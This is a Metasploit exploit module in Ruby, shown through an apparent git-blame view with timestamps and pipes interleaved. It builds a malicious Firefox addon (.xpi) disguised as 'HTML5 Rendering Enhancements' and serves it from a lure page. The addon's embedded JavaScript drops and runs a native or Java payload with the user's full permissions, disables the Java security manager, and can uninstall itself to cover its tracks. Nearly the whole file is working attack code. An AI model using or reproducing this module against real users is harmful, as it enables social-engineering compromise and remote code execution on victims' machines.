2012-04-10 11:33:04 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rex/zip'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize( info = {} )
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploit dynamically creates a .xpi addon file.
|
|
|
|
The resulting bootstrapped Firefox addon is presented to
|
|
|
|
the victim via a web page with. The victim's Firefox browser
|
|
|
|
will pop a dialog asking if they trust the addon.
|
|
|
|
|
|
|
|
Once the user clicks "install", the addon is installed and
|
|
|
|
executes the payload with full user permissions. As of Firefox
|
|
|
|
4, this will work without a restart as the addon is marked to
|
|
|
|
be "bootstrapped". As the addon will execute the payload after
|
|
|
|
each Firefox restart, an option can be given to automatically
|
|
|
|
uninstall the addon once the payload has been executed.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'mihi' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
|
|
|
|
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 27 2007',
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ java linux osx solaris win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Generic (Java Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => ['java'],
|
|
|
|
'Arch' => ARCH_JAVA
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Windows x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Linux x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Mac OS X PPC (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 1
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options( [
|
|
|
|
OptString.new('ADDONNAME', [ true,
|
|
|
|
"The addon name.",
|
|
|
|
"HTML5 Rendering Enhancements"
|
|
|
|
]),
|
|
|
|
OptBool.new('AutoUninstall', [ true,
|
|
|
|
"Automatically uninstall the addon after payload execution",
|
|
|
|
true
|
|
|
|
])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri( cli, request )
|
|
|
|
if not request.uri.match(/\.xpi$/i)
|
|
|
|
if not request.uri.match(/\/$/)
|
|
|
|
send_redirect( cli, get_resource() + '/', '')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Handling request..." )
|
|
|
|
|
|
|
|
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
if not p
|
|
|
|
print_error("Failed to generate the payload.")
|
|
|
|
# Send them a 404 so the browser doesn't hang waiting for data
|
|
|
|
# that will never come.
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# If we haven't returned yet, then this is a request for our xpi,
|
|
|
|
# so build one
|
|
|
|
|
|
|
|
if target.name == 'Generic (Java Payload)'
|
|
|
|
jar = p.encoded_jar
|
|
|
|
jar.build_manifest(:main_class => "metasploit.Payload")
|
|
|
|
payload_file = jar.pack
|
|
|
|
payload_name='payload.jar'
|
|
|
|
payload_script=%q|
|
|
|
|
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
|
|
|
|
java.lang.System.setSecurityManager(null);
|
|
|
|
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
|
|
|
|
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
|
|
|
|
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
|
|
|
|
|
|
|
|
|
else
|
|
|
|
payload_file = generate_payload_exe
|
|
|
|
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
|
|
|
|
payload_script=%q|
|
|
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
|
|
process.init(tmp);
|
|
|
|
process.run(false,[],0);
|
|
|
|
|
|
|
|
|
if target.name != 'Windows x86 (Native Payload)'
|
|
|
|
payload_script = %q|
|
|
|
|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
|
|
|
|
chmod.initWithPath("/bin/chmod");
|
|
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
|
|
process.init(chmod);
|
|
|
|
process.run(true, ["+x", tmp.path], 2);
|
|
|
|
| + payload_script
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
|
|
xpi_guid = Rex::Text.rand_guid
|
|
|
|
bootstrap_script = %q|
|
2012-04-10 11:33:04 +00:00
|
|
|
function startup(data, reason) {
|
2013-08-30 21:28:54 +00:00
|
|
|
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
|
|
getService(Components.interfaces.nsIProperties).
|
|
|
|
get("ProfD", Components.interfaces.nsIFile);
|
|
|
|
file.append("extensions");
|
|
|
|
|
|
|
|
|
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
|
|
|
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
|
|
|
bootstrap_script << %q|
|
|
|
|
file.append(xpi_guid);
|
|
|
|
file.append(payload_name);
|
|
|
|
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
|
|
getService(Components.interfaces.nsIProperties).
|
|
|
|
get("TmpD", Components.interfaces.nsIFile);
|
|
|
|
tmp.append(payload_name);
|
|
|
|
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
|
|
|
file.copyTo(tmp.parent, tmp.leafName);
|
|
|
|
|
|
|
|
|
bootstrap_script << payload_script
|
|
|
|
|
|
|
|
if (datastore['AutoUninstall'])
|
|
|
|
bootstrap_script << %q|
|
|
|
|
try { // Fx < 4.0
|
|
|
|
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
|
|
|
|
} catch (e) {}
|
|
|
|
try { // Fx 4.0 and later
|
|
|
|
Components.utils.import("resource://gre/modules/AddonManager.jsm");
|
|
|
|
AddonManager.getAddonByID(xpi_guid, function(addon) {
|
|
|
|
addon.uninstall();
|
|
|
|
});
|
|
|
|
} catch (e) {}
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
bootstrap_script << "}"
|
|
|
|
|
|
|
|
zip.add_file('bootstrap.js', bootstrap_script)
|
|
|
|
zip.add_file(payload_name, payload_file)
|
|
|
|
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
|
|
|
|
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
|
2012-04-10 11:33:04 +00:00
|
|
|
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
|
2013-08-30 21:28:54 +00:00
|
|
|
<Description about="urn:mozilla:install-manifest">
|
|
|
|
<em:id>#{xpi_guid}</em:id>
|
|
|
|
<em:name>#{datastore['ADDONNAME']}</em:name>
|
|
|
|
<em:version>1.0</em:version>
|
|
|
|
<em:bootstrap>true</em:bootstrap>
|
|
|
|
<em:unpack>true</em:unpack>
|
|
|
|
<em:targetApplication>
|
|
|
|
<Description>
|
|
|
|
<em:id>toolkit@mozilla.org</em:id>
|
|
|
|
<em:minVersion>1.0</em:minVersion>
|
|
|
|
<em:maxVersion>*</em:maxVersion>
|
|
|
|
</Description>
|
|
|
|
</em:targetApplication>
|
|
|
|
<em:targetApplication>
|
|
|
|
<Description>
|
|
|
|
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
|
|
|
|
<em:minVersion>1.0</em:minVersion>
|
|
|
|
<em:maxVersion>*</em:maxVersion>
|
|
|
|
</Description>
|
|
|
|
</em:targetApplication>
|
|
|
|
</Description>
|
2012-04-10 11:33:04 +00:00
|
|
|
</RDF>|)
|
2012-04-10 19:25:00 +00:00
|
|
|
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
|
2012-04-10 11:33:04 +00:00
|
|
|
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
|
2013-08-30 21:28:54 +00:00
|
|
|
<script src="bootstrap.js"/>
|
|
|
|
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
|
2012-04-10 11:33:04 +00:00
|
|
|
</overlay>|)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending xpi and waiting for user to click 'accept'...")
|
|
|
|
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
|
|
|
handler( cli )
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_html
|
|
|
|
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
|
|
|
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
|
|
|
|
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
|
|
|
|
html << %Q|</body></html>|
|
|
|
|
return html
|
|
|
|
end
|
2012-04-10 11:33:04 +00:00
|
|
|
end
|